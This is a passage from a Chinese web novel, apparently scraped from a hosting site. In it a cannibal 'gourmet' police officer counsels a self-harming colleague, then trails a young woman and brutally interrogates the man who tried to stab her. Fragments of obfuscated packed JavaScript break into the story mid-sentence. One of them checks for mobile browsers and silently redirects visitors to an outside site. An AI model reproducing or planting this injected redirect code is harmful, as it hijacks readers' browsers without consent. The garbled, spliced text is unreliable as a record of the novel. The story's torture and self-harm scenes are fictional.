响尾转身,去看公冶桌上放着的一叠资料,心中轻叹,然后对着女生们拍了拍手:“别看啦,回位子上去,影青会处理好的。” 长长的走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“吟枝脾气好,不跟你计较而已,”公冶又开了一枪,不太满意,“你和极乐能配合好,换做别人怎么就不行,他们哪里让你觉得不舒服?” “一天到晚命令我。” “响尾是你上级,对你下达命令是对你负责,他料到你会反抗,你顶嘴那次他没说什么,但人命关天的事,你还捣乱,这就不应该了。” “人救下来了吗?” “救下来了。” “受伤了吗?” “没受伤。” “那不就好了,我哪里捣乱?” “你不听话。” “我三岁小孩啊,还要听话?” “毒株,如果你继续这样任意妄为我行我素,总部没办法留你了。” “你以为我稀罕待这儿?” “可我想把你留下,你很出色。” 毒株闻言,握紧了枪,面上嗤了一声:“就没想过把我送回九保?” “没想过。” “为什么?” “因为把你送回去,九保就会像杀害你哥哥一样杀害你。” “……” 突如其来的沉默让气氛跌至冰点。 手枪转瞬摔落在地,公冶听到零件迸飞的声响,朝他看去之际,毒株一把攥起公冶的衣领,怒不可遏地质问道:“你凭什么说我哥哥是被杀死的?” “凭什么?!” “说话!!!” 暴怒的吼叫响彻靶场。 粗重的喘息声混着低微的呜咽,打碎了般地弥漫开来。毒株在对方冷静的瞳孔中看到了一个情绪失控、极其可笑的自己。 公冶垂眸:“说牺牲会让你好受点吗?” 毒株噬人的獠牙抵着下唇,半晌,放开了公冶,轻笑道:“对,我哥是被杀死的,但不是九保分所,是我。” “是我杀了他……” “是你杀了他!”指挥官暴躁的身影在眼前晃动,皮鞭一下又一下抡来。 勋章折射着金光无声滚落在地毯上,抽出的血花往墙壁飞溅绽放,指挥官喜欢他遍体鳞伤的样子,喜欢一个强者跪在自己脚下屈辱地低吼,这让他的身与心充满无与伦比的快感,他挥鞭的手停不下来。 “你这头怪物!真恶心!!快给我叫!哀嚎啊!快哭啊!” 毒株咬牙切齿地低下了头。 “像我这种怪物,辱骂和体罚不是最适合我了吗?” 公冶看他一眼:“你总是跟我们对着干,是希望我们打你吗?” “……” “可这里不是九保,阿毒,我们不会打你。” “……” “而且,你早就受够毒打谩骂了吧,”公冶继续训练,“手腕内侧的伤为什么不去愈合。” “不是我不愈合,是割多了就不会再愈合,”听着有规律的射击声,毒株逐渐得到了平复,无所谓地一笑,“好像是我身体自发的反映,它意识到我会经常割开那里,认为这是我自主要求形成的印迹,久而久之就留下了淡淡的疤痕,真神奇……” “别再割了,我没听说有美食家能割腕而死,”公冶一枪射穿靶心,“插一句题外话,这种死法一点都不酷,真的。” 毒株:“……” “你也不用急着寻死,公安机关对警察枪支佩带使用有严格的规定,对我们更是,这也造成公美在执行任务过程中会缺少一层决定性的保护——公美其实比犯罪的美食家更容易被剥夺生命权。” “哦?”毒株问,“怎么说?” “我们有任何忤逆上级命令、违反规章制度的行为,无论何时何地,公安民警都有权利对我们进行枪决处置,而犯了罪的美食家……比如暴食美,吃了九个人也不用死。” “这都不用死?终身监禁吗?” “差不多吧,被拿去做试验了。” 毒株愕然:“那不是生不如死吗……” 公冶嗯了一声:“抢劫事件里,你不听从指令,闯入现场抓捕歹徒,你想快点救人,这没问题,但你违逆了上级命令,一旦人质在你闯入期间有受伤,那么被击毙在现场的人就是你。” “对警方而言,美食家的叛逆与不稳定具有更大的威胁,同样,你出事,你的上级响尾组长也要为此接受相应的惩罚。” 公冶放下枪,远处那口看似渺小的靶子,在千疮百孔地散出硝烟。 他面沉如水。 “很多美食家以为,‘公美’就是美食家的舒适圈,实则不然,美食家是不会有舒适圈的,除非我们自身做出改变。” 毒株:“怎么改变?” 怎么改变?这是最大的问题,人类与美食家至今都尚未跨出第一步。公冶说不出口,自嘲地笑笑:“改变需要一颗非常强大坚韧的决心,也会打破人们赖以生存的现状,在我看来,我们国家始终缺少一个先行者,可不是谁都有勇气和能力成为先行者,确实很难。” 毒株:“那……怎么办?” “能怎么办,那就不改变吧,只是面对目前的生存环境,我希望你永远不要越过那条线,所以——”公冶指着他桌上的东西,“把防护装备带上吧。” 毒株沉默片刻,乖乖拿起桌上的护目镜戴上,边戴边说:“但是,我们不越过那条线,难道‘线’那边的人,就不会闯过来吗?” 扣动扳机的手指顿住了。 公冶像灵魂出窍了,一动不动。 “线”那边的人,就不会闯过来吗? 他们不会半夜敲你房门,给你塞血娃娃,监视你每日的行踪吗? 他们不会忌惮到极致,选择先发制人吗? 他们真的不会吗? 抵美协会闹了这么多天,身为抵美协会会长的古夏,居然一面未露。 他在忙什么呢? 公冶越想越不对,即刻脱下装备:“我离开一趟,你继续打,不想打就回去睡觉。” “啊,啊?”毒株一头雾水地看着他朝外飞奔而去。 外面夜色昏沉,公冶以最快速度跑回特发科,拉开门:“极乐!小雨今天在哪看演出?!” “啥子?!”极乐在摸鱼,被门口的喊声吓一跳,以为领导来了,“小雨在在在那个什么……大剧院?” “我们这有好多大剧院,哪个?” 公冶边问边上手机查找。 “是《红楼梦》舞剧吗?”吟枝温柔地道来,“在离江剧院,附近有二组在执勤,不过两个小时前就结束了,你现在去,舞剧也该结束了。” “好的谢谢,”公冶说着单手解开身上的警服,要往更衣室去,“响尾我出去一趟,你帮我兜着点!” “一包1916。” “你抽什么烟!” “那就不给你兜!” “行行行给你买!”公冶无语地叹气,去更衣室换了套便衣。 81. 嫉妒 打车赶到剧院,演出刚好散场,人群在一拨接一拨涌出来。 “好精彩啊。” “是吧,我鸡皮疙瘩都起来了。” 周遭交谈声不断,公冶下车后,目光梭巡着,很快找到了她—— 她不是一个人。 他眼中轻震,愣了一下才迅速躲到树后,将口罩拉上来点。 “我帮你拿吧。” 今天天气稍热,邓烟雨穿多了,脱下外套挽在臂弯里,走出剧院后发现这条街光线颇佳,想翻出包里的纪念票根拍照,一不小心让外套滑了下去。 庆云今便帮忙接过她的衣服,轻轻搭在自己胳膊上。 “他们演得真好。” “是啊!可惜演出时不能录像,不过拍到了谢幕我也超级开心,”邓烟雨像沉浸在爱情中的小女孩,“而且我觉得谢幕真的好美,宝玉回首遥望金陵十二钗的那个感觉,满地铺着白花,宿命感太强了!” 庆云今笑道:“还有最后打花仗那一幕……” 邓烟雨乐不可支:“对对,那一幕太好玩了!” 她喜滋滋地拍了好几张照片,随后仰起头满怀感激地说:“云今哥,今天谢谢你,要不是你,我都没办法看到这么好的舞剧。” 云今哥…… 听到这个称呼,公冶喉咙发紧,混乱的脑袋一片空白。 他是她什么人,可以叫这么亲热? 一想到邓烟雨对自己只是以“某某警官”相称,公冶尚未平静的胸膛间顿时涌起一股别样的情绪。 他卡在死胡同里出不来了—— 她叫极乐是“友知姐”,叫知元是“知元哥”,还有金刀,暮火,特发科的大家都拥有这样亲切的称呼,甚至那天在医院和路法医聊过之后,她也跟着极乐一起叫“小璐法医”,现在又冒出来一个“云今哥”。 唯独和她相处时间最长的自己,只是一声“警官”。 为什么?是觉得没必要叫得太亲近吗? 不,或许,自己并不是和她相处时间最长的。 那个人才是。 公冶默然靠着树,感觉心里堵了块石头,虽然不重也不大,但就是有种透不过气的难受,邓烟雨和庆云今说话的声音越甜软,他就越不舒服。 不知不觉他们走到了大树另一边,站在了那里。 “肚子饿了吗?” 好像刚才发生了什么事,庆云今在柔声问着邓烟雨,邓烟雨则不好意思地点点头。 庆云今从自己的公文包里拿出一块巧克力:“垫一垫吧,你要不介意,我请你去吃大排档。” 公冶一瞥时间,皱了眉。 这都快十点了,小雨怎么可能答应他去吃夜宵? “好啊,我正好知道附近有一家不错的鳝鱼馆子。” 公冶:“……” 啊? 她答应了? 公冶错愕地睁大眼,险些走出去,冷静下来后意识到自己今晚来这的目的不是看他们这样或那样,于是侧眸注意着人群动向。 “云今哥爱吃鳝鱼吗?” “爱吃的,金钗路上有家百年老字号,他家的爆炒黄鳝做得一绝。” “是笑西楼?” “对,是那家,你也吃过?” 邓烟雨点头:“是呀,就是排队老长了,但味道确实没话说。” “下次请你。” “可贵了。” “那更要请你。” “哈哈哈。” 公冶的视线凝滞在枯燥流动的人群上,思绪已经飞远。听到邓烟雨笑了,他实在心烦。 笑得好开心,上次她这样开怀大笑……是什么时候? 两人顺利敲定去哪吃了,邓烟雨突然想起一件事,面露失落:“哎呀,我明早还有课要上,今晚得早点睡的……” “这样啊,”庆云今看了眼手表,语气里也饱含遗憾,但脸上仍带着疏朗的笑意,“时间是挺晚了,我送你回家吧。” “好,我们走那边吧。” 他们往大树这边走来,公冶注意着他们的步调节奏,慢慢移动到另一侧,整个过程水到渠成,完美地避过,并未被发现。 他们有说有笑地走远了。大树下,公冶躲在那,像只被丢下的小狗,巴巴望了好久。 他睫毛一垂,眼底的光彩被悉数遮没。 这不是他一直所期望的吗,她开启了新的生活,还是那么明媚爱笑,只是不再喜欢自己,并且认识了一个比自己好上千倍万倍的男人。 她的生活会非常非常幸福,从此再与他无关。 但是,情绪就是不受控制,就是莫名生气,气得想直接回家算了。 说得倒是好听,出于责任,出于对她安危的顾虑,出于放心不下,想尽可能地帮助她保护她,可她需要他保护吗?她身边有的是可靠的人,他何必因为谁的一句话就着急忙慌上赶着来找罪受。 不是下定决心了吗,不是亲口拒绝了吗,现在又在干什么? 公冶烦躁地抓了抓头发。他讨厌这样的自己,讨厌自己嘴上说着不在意,心里却嫉妒得无法无天。 真是难看。 也在这时,一道黑色身影混迹在人堆中一闪而过,向着邓烟雨离开的方向快步追去。穿黑衣服的人不少,唯独他让公冶察觉出一丝异样。 仿佛上一秒还在为一点小事打翻醋坛子的自己从未存在过,公冶周身的气息都敛了起来,盯住黑影,距离他十米远的样子,跟了上去。 庆云今把她送到上弦街附近,临时接到一通电话,是同事打来的。 “哪个项目?小鲁负责的?” 似乎是手底下的人在工作上出了差错,邓烟雨等他挂断,说:“我家就在前面不远,五分钟路程,你快回去吧。” 庆云今望望路灯照耀的长坡,温和地颔首:“那我先走了。” “好。” 邓烟雨和他作别,朝公寓走去。 深夜的街道静悄悄的,邓烟雨加快了步伐,路过一段昏暗地带,两旁的路灯之前还有点敬业精神,一闪一闪像在闹鬼,如今干脆装死了。 如此气氛浓厚的夜路不免叫人浮想联翩,邓烟雨却习惯了,目视前方,凭着记忆快步通过。初春的凉风拂来,一寸寒光自黑暗中无声钻出,像条阴森的银蛇蜿蜒爬动,绽开剧毒的尖牙,接近她的后背。 即将得手之际,寒光在空中猛然颤了颤,下一秒哗地不见了。 一只塑料袋被风带动着,满地乱舞。 邓烟雨回头瞥了眼,脚步没停,照常往前走,什么也没察觉。 “呜……!呜呜呜——” 男子拼命地蹬腿叫喊,但嘴巴被捂住了,他被人拖进一条黑巷,匕首当啷一声掉在巷口。 对方力气殊大,大到可以把他的头颅轻松拧一圈。男子下颚绷紧,挣扎间从皮带里摸出一把手工刀反手刺下! 对方手背血流如注,照旧没松开。 男子震惊不已,紧接着被对方反剪双手,摁在脏兮兮的墙上。 “别动,”身后,低沉和缓的声音响起,“问你什么,你就答什么。” “滚!信不信我宰了你?!”男子仰起脖子凶狠地叫骂,再次被抓住头,用力一按。 他的脸贴着满墙的霉菌,呼吸里全是潮湿的臭味。 “可恶……我要杀了……”男子愤怒地喘息着,手使了点巧劲,一支骨笛从袖中漏出,其中一个音孔填了珠子,他按下珠子,毒针从吹口飞快射出。 显然是被扎到了,对方“嘶”了一声,低头看了看,男子趁机挣脱束缚,攥紧拳头挥向他,而对方似乎早就在等他这一击,漫不经心格住男子的手臂,往他胳膊肘外侧一拍——喀啦。 “呜——!!!” 不会吧?关节断了?男子不敢接受现实,疼得满头冒汗,左臂软软地垂荡下来,骨笛也顺势掉落,被对方抬手捞住。 是有技巧地卸了骨,好厉害的擒拿,这人什么来头? “哇,好古老的暗器,”那人一面把人摁回墙上,一面借着月色欣赏做工精致的骨笛,语气里透出闲适的愉悦,“你哪里买的?自己做的?” 男子破口痛骂,还在激烈反抗。 “都和你说了,别动,这只手臂也不想要了?” 见他力度柔和地握住自己另一条完好的手臂,男子慌了:“不——你想知道什么!我都告诉你!” 咔! “呜呃啊啊啊啊——!!!” “别喊了,又没完全弄断。” 男子仍在声嘶力竭地大叫,那人倒紧张了:“安静点,大晚上的不要扰民。” “我?!你?!” “好了,现在该说了。” 男子一时间竟不知该说什么:“说、说啥?你是白痴吗!哪有什么都不问一上来就拷打的?!你能不能走一下流程啊!!” 对方静了静:“不好意思,第一次干这行,没经验。” 男子要疯了:“你这个疯子!你放开我啊啊啊!” “你尾随那个女孩做什么?” “什么尾随,我尾随谁了?我家住这!我回家而已啊神经病!我看分明是你尾随我,要对我图谋不轨!你再乱来我就叫人!” 一阵死寂。 “我,对你,图谋不轨?” 手臂被捏紧了。 “……不、不不不等等,我说错话了,我态度不好!不要再断我骨头,我求你唔噫呀啊啊啊啊——!!” 又是一声惨号,男子已感知不到双臂的存在了:“你到底是谁……” 对方说:“知道我是美食家吧?” “知、知道……” “那你说,我抓你是为了什么,”恶魔在他耳畔低语,“嗯?” 一缕阴风吹过黑巷,野兽含笑的目光锁定着他,男子后颈一凉,吓得牙齿咯咯打架,咬字快咬不清楚:“大大大哥,我的肉又老又柴,不好吃……对了,刚刚过去那女孩,她的肉保证嫩,你……你……” “我不吃女人。” “啊是吗,你……”男子冷汗直淌,嘴巴开合都成问题了,“那,我给你找更好的肉,我用我的身份担保,你放了我吧。” “你能有什么身份?”说着就露出利爪,要扭断他的脖颈。 “我有!!我!我是抵美协会会长!但你放心!我只是挂名的!我可以给你肉源!我知道好多肉源!我经常给美食家提供!你信我!” 恶魔沉默一会儿,说:“我给你讲个故事,一个人要宰一只鸡,这只鸡喊着说我有好多同伴可以给你宰来吃,你放了我,我把它们带来,你觉得这个人该相信这只鸡吗?” “信啊!信信信!要我我一定信啊!” “是吗,”恶魔轻笑,“可我不信,谁知道它的同伴好不好吃。” 男人崩溃地吼叫:“你到底要怎样才能不吃我啊!!!我都说了!我是抵美协会会长!我叫古夏!我爸是古慷!你知道古慷吗?你知道他在古洛的影响力有多大吗?!就连公安,不,连政府都无法撼动的存在!” “你爸如今都自身难保了。” “放你个狗屁!他所做的一切都是为了国家!” “既如此,我做的这一切也是为了国家,”他单手卡住古夏的后颈,锋利的指爪有条不紊地刺入,“我吃了你,也算造福社会了。” “啊?!你你你不能这样!” “那你大半夜举个刀子要干嘛?” “我新买了一把刀子拿出来看看不行吗?!” “诓狗呢?” “我不敢我不敢!呜我——我跟她无冤无仇!我干嘛要杀她!” “我说了你要杀人吗?我问你大半夜举个刀子干嘛,这是你自己说出来的,我录音了。” “不……不是!我,我没有要杀她!” “就是。” “不是!!!” “是。” “啊啊啊啊啊啊你怎么听不懂人话呢!”古夏急得跳脚,“你吃了我!还会有别人去杀她的!!” “谁?” 古夏喘着粗气,眼泪鼻涕糊了一脸。 “谁指使的你?” 肃杀的气息笼罩下来,古夏打了个寒噤,惶恐地侧过头:“你是美食家……不……”他瞪着血丝密布的眼睛,“你是公美……” “……” “是公美……你是公美!” 据说公美吃惯了“点心”——也就是死肉,会对活人渐渐丧失兴趣。古夏像抓到了救命稻草,神经质地笑起来:“哈哈哈好啊!臭条子,有你这么欺负人的吗?!行,你来吃我啊,你有本事就他妈吃我!来啊!吃我啊!!” “……真没意思。” 公冶兴致缺缺撒开了手,古夏没站稳,栽进垃圾堆里,痛得爬不起来。他像只受惊的小仓鼠,往后蹭了几下,抬头看向那人。 那人拉了个废弃的箱子坐下了,一条腿架起,像是等人来点烟。 通身漆黑,气质冷冽,口罩帽子一样不缺,帽檐下眼神阴郁,一副饿了十天半月饥不择食的狠戾模样。 “温慈是你爱人?” 古夏怔了怔:“是……” “知道她最近在做什么吗?” “不知道。” 公冶阴森森地盯住他:“重新想好再说。” 古夏瑟缩着吞咽唾沫,确信他是条子了。 “说,不想再断一条腿的话。” 古夏牙齿冰了一下:“我真不知道,但她找过……邓烟雨,这我知道。” “为什么?” “因为,她以为我出轨。” 静了三秒,也没等来下文,公冶克制着怒意:“别挤牙膏似的要我应一声才肯继续说下去。” 古夏吓得一口气吐出来:“她以为邓烟雨是我的出轨对象,所以会频繁地去骚扰她,我以前也找过小三,被她发现后闹得家翻宅乱,没片刻安宁,不过后来……后来小三自己出车祸死了……” “自己出车祸?”公冶歪头,“你一定干了什么让温慈发现了吧,又或者你是故意为之?” 古夏愕然地瞪视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579334|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公冶,随即灰头土脸地撇撇嘴,躲开了视线。 “你怕背负杀人的罪名一辈子不得安眠,所以决定借妻子的手把事情料理了,如此良心便不会受谴责?” 公冶站了起来,打量着这条黑巷:“古夏会长,借刀杀人也是杀人,半夜找你的鬼魂说不定还要多一个。” 古夏面上不为所动,后背早已凉透了。他挪挪屁股,让自己坐得舒服些。 他笑道:“有人拜托我找机会办了邓烟雨,活的也行,反正只要把她这人交到他们手上,我想着死人比较好运送。” “他们黑了邓烟雨的手机,安装了监听器,我可以备份窃听她手机的所有信息,她和警察约在咖啡馆见面,我故意写了纸条放桌上,好让温慈发现,”古夏缓了缓,说,“温慈去了之后自然没找到我,但找到了我买去跟踪邓烟雨的私家侦探,她知道我有个嗜好,我会把喜欢的女人贴满一整面墙,她付了双倍的价钱拿到了邓烟雨的照片,也得知邓烟雨在青野面包店打工……” “她还额外付钱,让私家侦探半夜去敲门,送血娃娃,全是她干的,这个女人妒忌起来特别恐怖,连我在她眼里都只是发泄用的玩物!我之前的对象莫名其妙出车祸,八成就是她的手笔,她疯起来真就敢买凶杀人,所以这次我故意让她误会邓烟雨和我的关系,替我抗下这一单,可她大概是生了孩子心软了吧,迟迟没下手,总之我等不了了,她不干就我来干,即使查到我头上,以我抵美协会会长的身份,关个一年半载也就出来了。” 公冶沉默半晌,说:“你们这样都不离婚?” “啊?”古夏闻言一动,牵扯到伤势了,嘶哈咧嘴,“不离啊,我需要她的才能,她需要我的地位,各取所需嘛……说实话,我已经相当尊重她了,工资全部上交,也不会在家里贴女人,结果她还是把我工作室的墙推了,她心胸怎能如此狭窄?我跟她真是过不下去了!” 公冶随口八卦一句,没想到引出古夏一肚子牢骚,于是赶紧问:“你雇主是谁?” 古夏呼气:“我不清楚来历,只记得是过年那会儿找上的我,是个挺漂亮的女美食家,她这里——”古夏动不了手,只好挤眉弄眼,“她右眼的眼尾纹着一截紫色蝎尾,我看上她了,问了她电话号码,她居然拒绝了我。” 公冶:“……” 先不说古夏这衣冠禽兽仗着身份地位摧残过多少女性,公冶在脑内快速回忆着涉密系统里录入的脸,那些脸不管有多大众,他看过一眼必然会有印象,可事实证明他不记得有什么紫色蝎尾。 是红鸽把她藏得太好了吗?应该不可能,红鸽成立多年,白老爷子这么狠绝的枭雄,只私心维护过一个人——那就是清绝。 清绝的档案干净得不正常,上面没有一条在红鸽任事的案痕,这事无论是白主席所为,抑或公安默许,目的便是想把清绝和红鸽的关系彻底斩断。 “紫色蝎尾”也受到了这样的特殊待遇? 不对,那么想保护起来的一个人,白主席怎会派她和古夏接触? 更重要的是,主席为何要如此针对邓烟雨? 公冶对红鸽的印象谈不上好,但他相信以红鸽的实力纵使要除掉谁,也会光明磊落地出手。 那么还有一种可能,“紫色蝎尾”不一定是红鸽的人,满打满算,倒极有可能是江盛党那边的。 寇栗和他透露过,红鸽在搞内部分裂,除夕夜卡萨乐园大爆炸,多半是白霄想杀鸡儆猴,顺便送自己一份新年大礼。照目前的情况来看,江盛党的支持者应该更多些。 是些虾兵蟹将也便罢了,可白霄已着手让谈理事暗中彻查,显然江盛党是触及了老爷子的底线。 而且当时在教堂上,江邂月是想把邓烟雨带走的。 太奇怪了,兜兜转转,这群人全围着邓烟雨转,为什么非得是她? “……影青,我年轻时,曾做过一个后悔的决定……” …… 一句久远而熟悉的话蓦然从脑海中复苏过来—— 医院走廊上,邓忠云落寞的身影、苦涩的笑意,一帧一帧清晰透彻地浮现到眼前。 “喂?”古夏看他一动不动像定住了,焦急地扭着,“喂别发呆了,你还有没有问题,没问题了给我接下手臂行吗,我快痛死了。” 公冶投下一道意味不明的视线,盯得古夏不寒而栗。 “我有个疑问,他们能黑入别人的手机,难道就不能直接动手吗?” 古夏犹如觅到了知音,一个劲点头:“我一开始也这么认为,那蝎尾女瞧着挺能打的,要邓烟雨的小命轻而易举,转念一想,有钱人就是这样啊,把脏手的活甩给炮灰干,自己坐享其成,我有权有势干嘛非要自己出手,让别人来干就算被捅破了也能找个替罪羊,不是吗?” “你在抵美协会没有实权?” “有吧……我想有就有,大家供着我,需要我显灵了,我就出来一下,不需要我就做条死鱼,实权分给大家。” “抵美协会之前在公安门口闹成这样,你都不‘显灵’一下?” 古夏摇头:“没必要,这种小事。” 公冶:“……” “你们公安就爱在鸡毛蒜皮的小事上锱铢必较。” “你这样的人,确实有时间琢磨今天犯什么法、杀什么人。” “哈,这话说的……”古夏干笑两声,“那我努努力,学学我爸。” “腿不要了?” “不不不,我开玩笑的!你别——” “你前面说,过年那会儿,蝎尾美食家找上了你,当时邓烟雨的手机已经被植入木马?” “是啊。” “在灯港交易的?” “对啊,”古夏没好气地说,“我老婆跟我吵架,我嫌烦,正好公司在做的项目要求去灯港出差,我立马答应了,而且灯港是美食家的巢窟,我还能在那里赚点外快,结果回歌华前一晚,那个蝎尾女就找上我了,我还以为能跟她翻云覆雨一番呢,她身材真是火爆啊……那胸……” “后面的别说了!”公冶郁闷地呵斥了一声。 ——过年,灯港,邓烟雨的手机被黑。 这也太巧合了。 那时候他们遇到了大麻烦,若没记错,邓烟雨失踪后,他离开座位前第一时间拿上了她的大衣和手机,看监控时也把手机攥在手里,从未离身。 那是什么时候被植入程序的? 顺着记忆摸索过去,公冶一下子僵住了。 对了……是酒吧。 他当时跟踪卷毛大叔进了酒吧,和那个调酒师聊上了,还喝了酒,顺手把邓烟雨的手机放进大衣口袋一起交给调酒师存放。 所以是那个时候……那个调酒师干的? 他认识卷毛,说得出“大食主”这种行话,不可能不知道地下乐园,更何况他有一晚的时间,给邓烟雨手机里装点什么易如反掌。 公冶心力交瘁地垂首,深刻体会到了“阴沟里翻船”的挫败感。 看来,早在很久之前,他们就被拉入了那口深不见底的漩涡。 82. 邀请(修) 古夏忍着痛,说:“兄弟,我能知道的都抖给你了,你发发慈悲帮我接一下手臂吧。” 公冶转过来,垂眼打量他片刻,说:“蝎尾美最迟什么时候要人?” “要人?你说邓烟雨?”古夏无精打采地想了想,“本打算今晚交差来着,结果被你搅黄了……人家倒也不急,说是双紫星大楼开幕典礼之后,具体的时间地点会在开幕晚会当天告知于我。” 双紫星开幕是歌华市今年一等一的重头戏,国家领导人及各界要人皆会莅临现场。公冶听来觉着这事复杂:“选这么吉利的日子。” 古夏心慌地问:“哎,我要是交不出人,我会不会有危险啊?” “不知道。” “啊?!” “怕什么,你出事了,古洛正好有理由清算美食家。” 古夏闻言,脸都白了:“为了驱逐美食家……要祭了我的命?!” “你是抵美协会的会长,”公冶处变不惊地看向他,“一个政治性组织的领袖者,抵制绿眼食人种入侵繁衍的第一人,灾难来临你必须冲在最前方,只一味享受会长之位带来的权威,却不承担会长一职的责任,总有一天你会被千夫所指,人民和国家都会抛弃你,到那个时候,美食家的盘中餐可少不了你这道头等菜。” 古夏神思怅惘,又打了一个寒颤:“后果这么严重吗,可我当初接任会长的位子,不是自愿的啊……” “是不是自愿,是不是为了利益,这些都不重要,无论过程怎样,你已经坐上去了,这就是你最终的选择,不必装可怜。” “我……!”古夏欲言又止,怔忪地垂下头,眼底却积着狠色,“这世上有多少人能做到真正的高尚廉洁?和尚都要把自己寄托给众生,免受青灯古佛的寂寞,人不可能什么也不求,利欲熏心才是一个人正常的活法!” “所以代价也得自己承受。” “……”古夏直视着他,一言不发。 “说你有脑子呢,别人让你杀人,你就真跑去杀人,说你没脑子,你连怎么轻判都想好了,”公冶轻笑,“你这样的人,我还是头一次见。” 古夏哭腔都溢出来了:“少笑话我!你个吃人的肉畜懂什么?!我从来不想卷入你们的纷争!我只想自由自在地活着!” “谁不想呢。” 古夏吸着鼻涕:“对……我去找老姚,他是市政府秘书长,我和他熟,我可以让政府保护我,我就不信那蝎尾女的后台比我的还硬!我有国家撑腰,她没本事动我!” “你到现在还不明白吗,困局之下谁做羔羊都可以,有一条值钱的命不见得是坏事,也不见得是好事。” 地上的人脑袋快打结了。 “说不定以后,你的秘书长老朋友会提议给你造一个英雄人物雕塑立在中央广场。” “我不要啊!那又没什么卵用!”古夏无理取闹地蹬着腿,“我知道我是个人渣,但我活到现在除了出轨,真没干过什么违法乱纪的事,就刚刚我也没伤到邓烟雨——” “杀人未遂还不算构成犯罪?” 面对一名警察直白锐利的斥问,古夏被口水噎住了,不敢抬头看人。 “离邓烟雨远点,还有,不准再让温慈骚扰邓烟雨。” “我哪管得了她……” “那是你老婆,你不管谁管?” “她外边有的是野男人愿意养她管她!” 公冶气息骤沉:“不要再挑战我忍耐的极限。” 古夏连连点头:“好好好,我明白了,你别那么凶。” 公冶上前蹲下,招呼也没打就握住他的断臂,古夏知道他要干什么,这会儿倒是怕了,像个不肯打针的小孩哼唧半天,说:“你轻、轻点行吗?” 昏茫夜色中,他抬起诡丽的绿眼:“会长有讨价还价的余地么?” 路过的野猫被巷子里传来的惨叫吓得炸开一背毛。复位结束,公冶淡定地拍拍手,等古夏从地上爬起来。 古夏像条毛毛虫蠕动了好久,索性仰面倒在垃圾堆上:“喂……你真的没有良心吗,我对你们那么好,给你们提供肉源,卖你们最纯的血,我少说也算美食家的半个再生父母了……” 公冶的目光落在不远处的巷口,那里有只塑料袋在飘来飘去:“不都给你接上了吗,哪那么多废话。” “兄弟,你这样以后讨不到老婆的,我劝你啊,多笑笑,说话也温柔点,非要动真格呢也别出手太狠,不然会吓到女孩子的……” “你走不走?” “走走走,马上走。” 古夏蹭着墙起身,走了两步又回头:“那啥,我还想再活个五六十年,看你样子,好像是清楚蝎尾女的来历?算我求你,把她做了吧。” 公冶不动声色盯了他良久,最后绝望地说:“陈老师怎么生了你这么个没脑袋的东西。” 古夏:“……” 古夏:“我都低声下气求你了!你咋还骂人呢!” 公冶:“你真不知道蝎尾女的后台?” 古夏反问:“你知道?” 公冶缓缓道来:“别瞎猜了,快回家吧,以后该吃什么就吃什么,别亏待自己。” 古夏几乎是软着腿走出的黑巷。 他好像在那条巷子里被莫名其妙判了死刑……不,在更早的时候,在灯港出差的最后一天,在被蝎尾女找上的那一晚,他就踏进了万丈深渊。 公美都不敢招惹的势力——美食家背后最大的组织,那不就是红鸽么? 古夏感觉自己被猴耍了。 红鸽和抵美协会表面是针锋相对的关系,实际上两家井水不犯河水,斗起来反惹一身臊,谁能想到红鸽居然派人来找抵美协会会长私下做交易。 他们疯了?! 古夏回到家左思右想,认为白霄不会蠢到这个程度。 “红鸽近来不太平,难道……?” 听着滴答滴答的钟声,古夏眼皮渐渐变重,衣服没脱,脸也没洗,就在沙发上睡死了过去。 深夜的风贯穿整条长街,公冶等四下归于寂静,压了压帽檐,这才从黑巷里走出。 没走几步他忽然驻足,回头看向巷口的地面—— 匕首不见了。 公冶记得古夏没捡。或许古夏当时就没看到那把刀,自然没想着捡。 旁边是一家卖早点的铺子,拉着卷帘门,塑料袋在门口打转。他揣着兜慢慢踱到铺子的另一边,这里有条更窄的死巷,容纳不了几个人。 公冶在距离转弯口一米时,站住了。 云层如薄纱般化开,月光清冷地洒来,一片影子在地上瑟瑟轻颤着。 公冶伫立原地,夜风拂过耳畔,捎来些许簌簌声响。 手机冷不丁震动起来,她被亮光吓一跳——屏幕上,“公冶警官”四个字闪到了眼前。 她握紧匕首,也滑动了接听键,把手机贴到耳畔。 电话那端似有风声,风声柔缓地带出了一句:“出来吧。” 他这么说。 可邓烟雨无法理解。 “是我,”公冶注视着地上的半张影子,微卷的发丝在婀娜荡漾,“往右迈一步,再右转,你就可以看见我了。” “……” “不是诈骗电话,”公冶沉声说,“真的是我。” 邓烟雨仔细观察着墙壁外的黑影,害怕得四肢发软,想找一个支撑。 “我跟你保证,你出来,我就抱住你。” “真的是你……?” “是我。” “我出来,你就……” “你出来,我就抱你。” 邓烟雨果断迈开步伐,跑出死巷,向着那道高大黑影扑去,公冶一把将人揽进怀里。 匕首哐当一声掉在脚边。 公冶看见后,无奈地笑了:“原来是被你捡了……你捡它干嘛?” 邓烟雨在他怀 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“诶?”邓烟雨果然不生气了,扑闪着睫毛,“友知姐和你说了?” “嗯。” “我以为你忙呢,没时间管我的事。” 公冶偏过头:“也没、那么忙。” 邓烟雨依偎在他胸膛前,眼睛亮亮的:“公冶警官真厉害。” “……应该的。” 公冶面上淡淡接受了,内心已激起千层浪。他摘掉了口罩。 邓烟雨往他身后瞅了一眼,嘟嘴说:“又是那条巷子。” 公冶也注意到了:“别去想。” “不可能不去想,因为那条巷子里……也不全是糟糕的回忆,”邓烟雨抱他更紧了,“那是我们初遇的地方,你在那条巷子里救了我。” 公冶呼吸一紧。 “你还弄丢了警证,被熊警官训斥了。” 公冶:“……” 公冶:“这种事可以忘记了。” “我才不会忘呢。”她终于朝他笑了,公冶凝视着这张明媚的笑脸,有种今日份KPI超额达标的舒坦感。 邓烟雨往下摸索:“你手怎么了?” 